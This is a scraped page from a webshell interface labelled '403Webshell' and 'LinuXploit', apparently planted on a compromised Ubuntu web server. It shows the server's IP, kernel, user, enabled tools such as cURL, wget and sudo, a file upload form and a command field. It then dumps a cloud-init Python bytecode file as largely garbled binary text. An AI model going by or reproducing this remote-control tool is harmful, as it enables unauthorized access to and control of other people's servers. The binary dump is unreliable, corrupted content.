403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.163
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/distros/__pycache__/ubuntu.cpython-312.pyc
�

쑛hF	���ddlZddlZddlmZmZddlmZddlmZddl	m
Z
eje�Z
Gd�dej�Zy)�N)�PREFERRED_NTP_CLIENTS�debian)�Snap)�
activators)�CLOUDINIT_NETPLAN_FILEc�B��eZdZ�fd�Zd�fd�	Zed��Zdd�Z�xZS)�Distroc�P��t�|�|||�dtd�|_|jdtj
d�|jdtj
dd�d�|_t|j�|_	|jj|j�y)Nz+/etc/network/interfaces.d/50-cloud-init.cfg)�eni�netplanr)�eni_path�
eni_headerrT)�netplan_path�netplan_header�postcmds)�super�__init__r�network_conf_fnr�NETWORK_FILE_HEADER�renderer_configsr�_runner�snap�package_managers�append)�self�name�cfg�paths�	__class__s    ��:/usr/lib/python3/dist-packages/cloudinit/distros/ubuntu.pyrzDistro.__init__s����
����s�E�*�A�-� 
���!�0�0��7�$�8�8��
!%� 4� 4�Y� ?�"(�"<�"<� ��
!
�������&��	����$�$�T�Y�Y�/�c���t�|�|||�|jj�r|jj	�yy)N)r�package_commandr�	available�upgrade_packages)r�command�args�pkgsrs    �r r#zDistro.package_command-s9���
�����t�4��9�9��� ��I�I�&�&�(�!r!c�n�|jstjt�|_|jS)z5The preferred ntp client is dependent on the version.)�_preferred_ntp_clients�copy�deepcopyr)rs r �preferred_ntp_clientszDistro.preferred_ntp_clients2s+���*�*�*.�-�-�8M�*N�D�'��*�*�*r!c���	|jj�y#tj$rtjd�Yyt$r }tjd|�Yd}~yd}~wwxYw)zAEnsure that cloud-init's network service has network connectivityz6Failed to wait for network. No network activator foundzFailed to wait for network: %sN)�network_activator�wait_for_networkr�NoActivatorException�LOG�error�	Exception)r�es  r r0zDistro.wait_for_network9sW��	;��"�"�3�3�5���.�.�	P��I�I�N�O��	;��I�I�6��:�:��	;�s��(A/�A/�A*�*A/)NN)�returnN)	�__name__�
__module__�__qualname__rr#�propertyr-r0�
__classcell__)rs@r r	r	s&���0�*)�
�+��+�;r!r	)r+�logging�cloudinit.distrosrr�)cloudinit.distros.package_management.snapr�
cloudinit.netr�cloudinit.net.netplanr�	getLoggerr7r2r	�r!r �<module>rCs;����;�:�$�8��g����!��);�V�]�]�);r!

Youez - 2016 - github.com/yon3zu
LinuXploit